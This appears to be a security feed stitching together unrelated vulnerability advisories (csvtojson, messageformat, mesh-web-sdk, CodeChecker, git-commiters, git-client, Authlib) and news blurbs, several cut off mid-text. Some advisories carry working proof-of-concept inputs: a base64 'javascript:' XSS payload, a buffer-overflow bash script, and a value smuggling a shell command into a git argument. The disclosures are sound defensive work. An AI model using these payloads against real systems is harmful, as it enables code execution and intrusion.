#js

The csvtojson package, a tool for converting CSV data to JSON with customizable parsing capabilities, contains a prototype pollution vulnerability in versions prior to 2.0.10. This issue arises due to insufficient sanitization of nested header names during the parsing process in the parser_jsonarray component. When processing CSV input containing specially crafted header fields that reference prototype chains (e.g., using __proto__ syntax), the application may unintentionally modify properties of the base Object prototype. This vulnerability can lead to denial of service conditions or unexpected behavior in applications relying on unmodified prototype chains, particularly when untrusted CSV data is processed. The flaw does not require user interaction beyond providing a maliciously constructed CSV file.

The Runtime components of messageformat package for Node.js prior to version 3.0.1 contain a prototype pollution vulnerability. Due to insufficient validation of nested message keys during the processing of message data, an attacker can manipulate the prototype chain of JavaScript objects by providing specially crafted input. This can result in the injection of arbitrary properties into the Object.prototype, potentially leading to denial of service conditions or unexpected application behavior. The vulnerability allows attackers to alter the prototype of base objects, impacting all subsequent object instances throughout the application's lifecycle. This issue remains unaddressed in the latest available version.

This week on the Lock and Code podcast, we speak with Peter Dolanjski about the internet's thirst for your data, and how to stay private.

### Summary The lack of sanitization of URLs protocols in the `createLink.openLink` function enables the execution of arbitrary JavaScript code within the context of the parent page. ### Details https://github.com/FrontFin/mesh-web-sdk/blob/cf013b85ab95d64c63cbe46d6cb14695474924e7/packages/link/src/Link.ts#L441 The `createLink.openLink` function takes base64 encoded links, decodes them, and then sets the resulting string as the `src` attribute of an `iframe`. It’s important to note that the protocol part is not validated, so a payload, which is a valid URL, such as `javascript:alert(document.domain)//`, can be provided to the function. ### PoC 1. Extract [poc-mesh-web-sdk.zip](https://github.com/user-attachments/files/22223079/poc-mesh-web-sdk.zip) 2. Run `yarn install` and then `yarn start` 3. Paste this payload inside the input box: `amF2YXNjcmlwdDphbGVydCh3aW5kb3cucGFyZW50LmRvY3VtZW50LmJvZHkuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImgyIikuaXRlbSgwKVsiaW5uZXJIVE1MIl0pLy8=` 4. Click on the _Ope...

### Summary CodeChecker versions up to 6.26.1 contain a buffer overflow vulnerability in the internal `ldlogger` library, which is executed by the `CodeChecker log` command. ### Details Unsafe usage of `strcpy()` function in the internal `ldlogger` library allows attackers to trigger a buffer overflow by supplying crafted inputs from the command line. Specifically, the destination buffer is stack-allocated with a fixed size of 4096 bytes, while `strcpy()` is called without any length checks, enabling an attacker to overrun the buffer. ### PoC Example script is included below to illustrate how this vulnerability can be exploited. ```bash #!/bin/bash export CC_LOGGER_DEF_DIRS=1; payload=''; for i in $(seq 1 4090); do payload+='A'; done CodeChecker log -b "/very/long/path/to/$payload/gcc a.c" -o compilation.json ``` ### Impact Any environment where the vulnerable `CodeChecker log` command is executed with untrusted user input is affected by this vulnerability.

## Background on the vulnerability This vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)` which allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. ## Exploit 1. Install `git-commiters@0.1.1` or earlier 2. Initiaizlie a new Git directory with commits in it 3. Create the following script in that directory: ```js var gitCommiters = require("git-commiters"); var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); }); ``` 3. Observe new file created on disk at `/tmp/pwn` The git commiters functionality works as expected, too, ...

## Background on exploitation This vulnerability manifests with the library's `getTags()` API, which allows specifying extra parameters passed to the `git log` command. In another API by this library - `getRawCommits()` there are secure practices taken to ensure that the extra parameter `path` is unable to inject an argument by ending the `git log` command with the special shell syntax `--`. However, the library does not follow the same practice for `getTags()` not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the `git` binary using the double-dash POSIX characters (`--`) to communicate the end of options. Thus, allowing users to exploit an argument injection vulnerability in Git due to the `--output=` command-line option that results with overwriting arbitrary files. ## Exploit 1. Install `@conventional-changelog/git-client@1.0.1` or earlier 2. Prepare a Git directory to be used as...

A new malware loader, CountLoader, has been discovered by cybersecurity firm Silent Push. This threat is linked to prominent Russian ransomware gangs, including LockBit, BlackBasta, and Qilin, and is being used as an initial access broker.

## Summary Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (`crit`), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, `bork` or `cnf`) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation. ## Affected Component and Versions - Library: Authlib (JWS verification) - API: `authlib.jose.JsonWebSignature.deserialize_compact(...)` - Version tested: 1.6.3 - Configuration: Default; no allowlist or special handling for `crit` ## Details RFC 7515 (JWS) §4.1.11 defines `crit` as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in `crit`, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., `cnf` from RFC 7800) are often conveyed via `crit`. Observed behavior with Authlib 1...

The security landscape now moves at a pace no patch cycle can match. Attackers aren’t waiting for quarterly updates or monthly fixes—they adapt within hours, blending fresh techniques with old, forgotten flaws to create new openings. A vulnerability closed yesterday can become the blueprint for tomorrow’s breach. This week’s recap explores the trends driving that constant churn: how threat